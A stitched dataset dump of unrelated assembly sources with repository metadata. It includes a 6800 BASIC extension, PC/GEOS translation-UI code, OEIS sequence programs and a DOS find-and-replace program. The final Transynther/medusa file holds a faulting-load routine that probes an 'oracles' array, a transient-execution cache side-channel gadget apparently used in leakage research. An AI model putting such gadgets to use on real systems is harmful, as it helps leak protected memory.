bne _again
ldab #' ' ; load space
jsr clrscn+3 ; clear to end of screen
_leave pula
pulb
pulx
ins
ins
rts
exwrmst .module WarmStart
nop
clr devnum
jsr clrstr
ldab #$20
jsr clrscn
jmp okprmpt
excin .module ConsoleIn
ins
ins
pshx
pshb
_again jsr blink
jsr pollkey
beq _again
ldab #$20
ldx crsptr
stab ,x
pulb
pulx
rts
excmd .module CommandExtension
cmpa #$9D
beq _gotcls
rts
_gotcls pulx
jsr chrget
beq _cls2
jsr evalarg
cmpb #8
bls _cls1
bsr _cls2
jmp msft
_cls1 jmp clsarg
_cls2 ldab #$20
jmp clrscn
progend .end
| 18.962567 | 71 | 0.655386 |
d92eed6c0c6e9cec1f19753e9e10c4a630ca0405 | 11,614 | asm | Assembly | Library/Trans/TransCommon/transUI.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Trans/TransCommon/transUI.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Trans/TransCommon/transUI.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Translation Libraries
FILE: transUI.asm
AUTHOR: Jimmy Lefkowitz, July 1991
ROUTINES:
Name Description
---- -----------
GLB TransGetImportUI Returns OD of Import options UI
GLB TransGetExportUI Returns OD of Export options UI
GetSpecificUI Does real work of finding/returning OD
GLB TransGetImportOptions Dummy routine for use when there are
no import options
GLB TransGetExportOptions Dummy routine for use when there are
no export options
GLB TransInitImportUI Dummy routine for use when no initialization
is needed for the import UI
GLB TransInitExportUI Dummy routine for use when no initialization
is needed for the export UI
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 7/91 Initial version
ted 10/92 Added MAP_CONTROL_EXIST
DESCRIPTION:
Common code for all translation libraries.
$Id: transUI.asm,v 1.1 97/04/07 11:42:28 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
; Compile-time constants for pre-defined routines:
;
; IMPORT_OPTIONS_EXIST = TRUE or FALSE (must be set)
; EXPORT_OPTIONS_EXIST = TRUE or FALSE (must be set)
; MAP_CONTROL_EXIST = TRUE or FALSE (must be set)
;
; INIT_IMPORT_UI = defined (optional dummy routine)
; INIT_EXPORT_UI = defined (optional dummy routine)
; Note: If MAP_CONTROL_EXIST is set TRUE, you must also set
; IMPORT_OPTIONS_EXIST = TRUE.
ifndef IMPORT_OPTIONS_EXIST
ErrMessage <Error - Set IMPORT_OPTIONS_EXIST to TRUE or FALSE before including this file.>
else
ifndef EXPORT_OPTIONS_EXIST
ErrMessage <Error - Set EXPORT_OPTIONS_EXIST to TRUE or FALSE before including this file.>
else
TransCommonCode segment resource
if IMPORT_OPTIONS_EXIST
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransGetImportUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the import UI (if any) for the passed format
CALLED BY: GLOBAL (TR_GET_IMPORT_UI)
PASS: CX = Format (TransFormat enumaration)
RETURN: CX:DX = OD of generic tree for options UI
BX:AX = Null (no subclass of GenControl)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransGetImportUI proc far
;
; Get the OD of the generic tree
;
ifndef MAP_CONTROL_EXIST
mov bp, offset IFGI_importUI
GOTO GetSpecificUI
else
if MAP_CONTROL_EXIST
; do this only if MAP_CONTROL_EXIST = TRUE
; and if IMPORT_OPTIONS_EXIST = TRUE
mov bp, offset IFGI_importUI
GOTO GetImportSpecificUI
else
mov bp, offset IFGI_importUI
GOTO GetSpecificUI
endif
endif
TransGetImportUI endp
ifdef MAP_CONTROL_EXIST
if MAP_CONTROL_EXIST
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetImportSpecificUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the import UI (if any) for the passed format
CALLED BY: GLOBAL (TR_GET_IMPORT_UI)
PASS: CX = Format (TransFormat enumaration)
RETURN: CX:DX = OD of generic tree for options UI
BX:AX = subclass of GenControl
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetImportSpecificUI proc far uses di, ds
.enter
; Get offset to the proper format
mov bx, handle FormatStrings
call MemLock
mov ds, ax
mov ax, size ImpexFormatGeodeInfo
mul cx ; ax <- offset to info
mov di, offset TLMBH_stringHandleTable
add di, ax ; di <- format info
mov cx, ds:[di][bp].handle ; OD => CX:DX
mov dx, ds:[di][bp].chunk
call MemUnlock
mov bx, segment ImpexMappingControlClass
mov ax, offset ImpexMappingControlClass
.leave
ret
GetImportSpecificUI endp
endif
endif
else
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransGetImportUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the import UI (if any) for the passed format
CALLED BY: GLOBAL (TR_GET_IMPORT_UI)
PASS: CX = Format (TransFormat enumaration)
RETURN: CX:DX = OD of generic tree for options UI
BX:AX = Null (no subclass of GenControl)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
Dummy routine used when there are no import options.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransGetImportUI proc far
clr cx ; no import UI
ret
TransGetImportUI endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransGetImportOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the import options (if any) for the passed format
CALLED BY: GLOBAL (TR_GET_IMPORT_OPTIONS)
PASS: CX = Format number (TransFormat enumeration)
DX = Handle of duplicated options UI (= 0 if none)
RETURN: DX = Handle of options block (= 0 if none)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
Dummy routine used when there are no import options.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 10/8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransGetImportOptions proc far
clr dx ; no import options
ret
TransGetImportOptions endp
endif
if EXPORT_OPTIONS_EXIST
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransGetExportUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the export UI (if any) for the passed format
CALLED BY: GLOBAL (TR_GET_EXPORT_UI)
PASS: CX = Format (TransFormat enumeration)
RETURN: CX:DX = OD of generic tree for options UI
BX:AX = Null (no subclass of GenControl)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 11/19/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransGetExportUI proc far
;
; Get the OD of the generic tree
;
mov bp, offset IFGI_exportUI
FALL_THRU GetSpecificUI
TransGetExportUI endp
else
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransGetExportUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the export UI (if any) for the passed format
CALLED BY: GLOBAL (TR_GET_EXPORT_UI)
PASS: CX = Format (TransFormat enumeration)
RETURN: CX:DX = OD of generic tree for options UI
(CX = 0 if no UI)
BX:AX = Null (no subclass of GenControl)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
Dummy routine used when there are no export options.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 10/8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransGetExportUI proc far
clr cx ; no export UI
ret
TransGetExportUI endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransGetExportOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the export options (if any) for the passed format
CALLED BY: GLOBAL (TR_GET_EXPORT_OPTIONS)
PASS: CX = Format number (TransFormat enumeration)
DX = Handle of duplicated options UI (= 0 if none)
RETURN: DX = Handle of options block (= 0 if none)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
Dummy routine used when there are no export options.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jenny 10/8/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransGetExportOptions proc far
clr dx ; no export options
ret
TransGetExportOptions endp
endif
if IMPORT_OPTIONS_EXIST or EXPORT_OPTIONS_EXIST
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetSpecificUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the resource handle of the UI gadgetry
CALLED BY: TransGetImportUI, TransGetExportUI
PASS: CX = Format number (TransFormat enumeration)
BP = Offset in ImpexFormatGeodeInfo to use
RETURN: CX:DX = OD of root of generic tree
BX:AX = Null (no subclass of GenControl)
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
Find and return the specific UI block.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jimmy 7/91 Initial version (for export UI)
jenny 11/91 Changed name, expanded, fixed header
Don 11/91 No longer duplcates block here
jenny 5/92 Fixed bug.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetSpecificUI proc far
uses di, ds
.enter
;
; Get offset to the proper format
;
mov bx, handle FormatStrings
call MemLock
mov ds, ax
mov ax, size ImpexFormatGeodeInfo
mul cx ; ax <- offset to info
mov di, offset TLMBH_stringHandleTable
add di, ax ; di <- format info
;
; Get the UI.
;
mov cx, ds:[di][bp].handle ; OD => CX:DX
mov dx, ds:[di][bp].chunk
call MemUnlock
clr ax, bx ; no sub-class
.leave
ret
GetSpecificUI endp
endif
ifndef INIT_IMPORT_UI
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransInitImportUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Dummy routine for initializing the import UI
CALLED BY: GLOBAL
PASS: CX:DX = OD of duplicated import UI
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 11/ 9/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransInitImportUI proc far
ret
TransInitImportUI endp
endif
ifndef INIT_EXPORT_UI
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TransInitExportUI
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Dummy routine for initializing the export UI
CALLED BY: GLOBAL
PASS: CX:DX = OD of duplicated export UI
RETURN: Nothing
DESTROYED: Nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Don 11/ 9/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TransInitExportUI proc far
ret
TransInitExportUI endp
endif
TransCommonCode ends
endif
endif
| 23.995868 | 91 | 0.553126 |
e25ce8a6721da2395addc951aef068c9bbb05a7e | 338 | asm | Assembly | programs/oeis/135/A135984.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/135/A135984.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/135/A135984.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A135984: a(n) = 24(prime(n))+7.
; 55,79,127,175,271,319,415,463,559,703,751,895,991,1039,1135,1279,1423,1471,1615,1711,1759,1903,1999,2143,2335,2431,2479,2575,2623,2719,3055,3151,3295,3343,3583,3631,3775,3919,4015,4159,4303,4351,4591,4639,4735
seq $0,6005 ; The odd prime numbers together with 1.
max $0,2
sub $0,2
mul $0,24
add $0,55
| 37.555556 | 211 | 0.721893 |
b693a89ccf4e10af2d41f887f00a6d4d36a6d2dd | 3,992 | asm | Assembly | academic-work/Assembly/Ficha004_Assembly8086.asm | joao-neves95/Exercises_Challenges_Courses | 02b6e25d9a270395bbf6dc8111c2419bba4f3edc | [
"MIT"
] | null | null | null | academic-work/Assembly/Ficha004_Assembly8086.asm | joao-neves95/Exercises_Challenges_Courses | 02b6e25d9a270395bbf6dc8111c2419bba4f3edc | [
"MIT"
] | 4 | 2018-11-10T01:05:14.000Z | 2021-06-25T15:16:28.000Z | academic-work/Assembly/Ficha004_Assembly8086.asm | joao-neves95/Exercises_Challenges_Courses | 02b6e25d9a270395bbf6dc8111c2419bba4f3edc | [
"MIT"
] | null | null | null | ; By: Joao Neves (SHIVAYL)
;
; Find and replace.
; Assembly 8086
;
#make_COM#
org 100h
jmp Main
.Data
getInputInfo dw ' Insira uma frase: ' , 13 , 10 , '$'
getToReplaceInfo dw ' Insira a palavra a ser substituida: ' , 13 , 10 , '$'
getReplacerInfo dw ' Insira a palavra substituidora: ' , 13 , 10 , '$'
outputInfo dw ' A frase tratada e: ' , 13 , 10 , '$'
newLine db 13 , 10 , '$'
; VARIABLES
inputStr db 80 dup(?)
inputToReplaceStr db 80 dup(?)
inputReplacerStr db 80 dup(?)
outputStr db 80 dup(?)
originalSI dw 2
.Code
Main:
call GetInputStr
call GetToReplaceStr
call GetReplacerStr
call FindAndReplace
call ShowOutputStr
; Fall to End.
End:
mov ah, 04CH
INT 21H
; -------- SUBROUTINES --------- ;
PrintNewLine PROC near
lea dx, newLine
mov ah, 9
INT 21H
ret
PrintNewLine ENDP
GetInputStr PROC near
lea dx, getInputInfo
mov ah, 9
INT 21H
lea di, inputStr
_GetInputStr:
mov ah, 1
INT 21H
mov [di], al
cmp al, 13 ; Check if it's the end of the input.
jz GetInputStr_END
inc di
jmp _GetInputStr
GetInputStr_END:
ret
GetInputStr ENDP
GetToReplaceStr PROC near
mov [di], '$'
call PrintNewLine
lea dx, getToReplaceInfo
mov ah, 9
INT 21H
lea di, inputToReplaceStr
_GetToReplaceStr:
mov ah, 1
INT 21H
mov [di], al
cmp al, 13 ; Check if it's the end of the input.
jz GetToReplaceStr_END
inc di
jmp _GetToReplaceStr
GetToReplaceStr_END:
ret
GetToReplaceStr ENDP
GetReplacerStr PROC near
mov [di], '$'
call PrintNewLine
lea dx, getReplacerInfo
mov ah,9
int 21H
lea di, inputReplacerStr
_GetReplacerStr:
mov ah, 1
INT 21H
mov [di], al
cmp al, 13 ; Check if it's the end of the input.
jz GetReplacerStr_END
inc di
jmp _GetReplacerStr
GetReplacerStr_END:
ret
GetReplacerStr ENDP
FindAndReplace PROC near
mov [di], '$'
lea si, inputStr
mov originalSI, si
lea di, outputStr
lea bx, inputToReplaceStr
_Find:
cmp [bx], '$' ; String to replace found (end of string to replace).
jz _Replace
mov al, [bx]
cmp [si], al ; Check if the current chars are equal.
jz _Find_INC
cmp [si], '$' ; End of input.
jz _FindAndReplace_END
; String to replace not found.
mov si, originalSI ; Return back.
mov al, [si]
mov [di], al ; Add char normally to the output.
inc si
mov originalSI, si
inc di
lea bx, inputToReplaceStr ; Return to the beggining of inputToReplaceStr.
jmp _Find
_Find_INC:
inc si
inc bx
jmp _Find
_Replace: ; The output builder
mov originalSI, si ; Move SI forward.
lea bx, inputReplacerStr
; Fall to _Replace_LOOP
_Replace_LOOP:
mov al, [bx]
mov [di], al
cmp al, '$' ; Continue until the end of string.
jz _Replace_END
inc bx
inc di
jmp _Replace_LOOP
_Replace_END:
lea bx, inputToReplaceStr ; Return to the beggining of inputReplacerStr.
jmp _Find
_FindAndReplace_END:
mov [di], '$'
ret
FindAndReplace ENDP
ShowOutputStr PROC near
call PrintNewLine
lea dx, outputInfo
mov ah, 9
INT 21H
lea dx, outputStr
mov ah, 9
INT 21H
ret
ShowOutputStr ENDP
; ---- End of SUBROUTINES ---- ;
| 20.060302 | 81 | 0.532565 |
d7d973bd8bb90f89090b1071f35c57e9947772fe | 706 | asm | Assembly | oeis/041/A041866.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/041/A041866.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/041/A041866.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A041866: Numerators of continued fraction convergents to sqrt(455).
; Submitted by Christian Krause
; 21,64,2709,8191,346731,1048384,44378859,134184961,5680147221,17174626624,727014465429,2198218022911,93052171427691,281354732305984,11909950928279019,36011207517143041,1524380666648286741,4609153207462003264,195108815380052423829,589935599347619274751,24972403987980061963371,75507147563287805164864,3196272601646067878887659,9664324952501491441827841,409097920606708708435656981,1236958086772627616748798784,52361337565057068611885205909,158320970781943833452404416511
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
mov $3,$1
mov $1,$2
dif $2,7
mul $2,21
dif $2,2
add $3,$2
lpe
mov $0,$3
| 39.222222 | 470 | 0.830028 |
41b59572be0adfc655410524df87e3cf5dd62e9f | 8,426 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_228.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_228.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xca_notsx.log_21829_228.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x1e4eb, %r8
nop
nop
nop
xor %r12, %r12
movw $0x6162, (%r8)
nop
nop
nop
xor %rax, %rax
lea addresses_UC_ht+0x7684, %r12
nop
xor $14598, %r8
mov (%r12), %cx
add %rcx, %rcx
lea addresses_WT_ht+0x1e7ab, %rcx
nop
nop
nop
sub $12555, %rbx
mov (%rcx), %ax
nop
nop
inc %rbx
lea addresses_WC_ht+0x1c92b, %rsi
lea addresses_WT_ht+0x10e2b, %rdi
clflush (%rsi)
xor $9545, %rax
mov $111, %rcx
rep movsb
nop
nop
sub %r8, %r8
lea addresses_normal_ht+0x1ee2b, %rsi
lea addresses_normal_ht+0x372b, %rdi
nop
nop
and %r11, %r11
mov $41, %rcx
rep movsq
cmp $52450, %rsi
lea addresses_UC_ht+0xce2b, %rsi
nop
nop
nop
add $10254, %rax
mov (%rsi), %r8d
cmp $12311, %rax
lea addresses_WC_ht+0x643, %rsi
lea addresses_UC_ht+0x198db, %rdi
nop
sub %r8, %r8
mov $48, %rcx
rep movsq
and %rax, %rax
lea addresses_WT_ht+0x19e2b, %r8
nop
nop
nop
nop
and $59194, %rax
mov $0x6162636465666768, %rbx
movq %rbx, %xmm1
vmovups %ymm1, (%r8)
nop
nop
nop
nop
nop
dec %rsi
lea addresses_WC_ht+0x1cd2b, %rsi
clflush (%rsi)
nop
nop
nop
nop
dec %r11
movw $0x6162, (%rsi)
nop
nop
xor %r8, %r8
lea addresses_WC_ht+0x12c4b, %rax
nop
nop
add $39600, %rdi
movw $0x6162, (%rax)
nop
cmp %rdi, %rdi
lea addresses_A_ht+0x1862b, %r11
nop
sub %r8, %r8
mov (%r11), %rcx
add $54996, %rdi
lea addresses_D_ht+0x13db, %r11
add %rax, %rax
vmovups (%r11), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $0, %xmm6, %r8
nop
nop
nop
xor $7186, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_D+0x2acb, %r15
add %rcx, %rcx
mov $0x5152535455565758, %r10
movq %r10, (%r15)
nop
nop
inc %r10
// Store
lea addresses_WC+0x392b, %rdx
cmp %rsi, %rsi
mov $0x5152535455565758, %r10
movq %r10, (%rdx)
nop
add %rdx, %rdx
// Store
lea addresses_UC+0x71fd, %r15
nop
nop
nop
nop
xor $11819, %rcx
mov $0x5152535455565758, %r11
movq %r11, %xmm1
vmovups %ymm1, (%r15)
nop
nop
and $59785, %r10
// Store
lea addresses_D+0x1a62b, %rdi
clflush (%rdi)
nop
add $4440, %r10
movl $0x51525354, (%rdi)
nop
xor %rcx, %rcx
// Store
mov $0x2b, %rdi
nop
inc %rcx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm0
vmovups %ymm0, (%rdi)
// Exception!!!
nop
nop
nop
mov (0), %rcx
dec %rdx
// Store
lea addresses_D+0x1a62b, %rcx
add $10060, %r15
mov $0x5152535455565758, %rdx
movq %rdx, %xmm6
vmovups %ymm6, (%rcx)
nop
nop
nop
sub $19579, %r15
// Faulty Load
lea addresses_D+0x1a62b, %r15
nop
nop
nop
nop
nop
cmp $65111, %rdx
mov (%r15), %esi
lea oracles, %rdi
and $0xff, %rsi
shlq $12, %rsi
mov (%rdi,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_P', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 10}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
{'58': 21829}
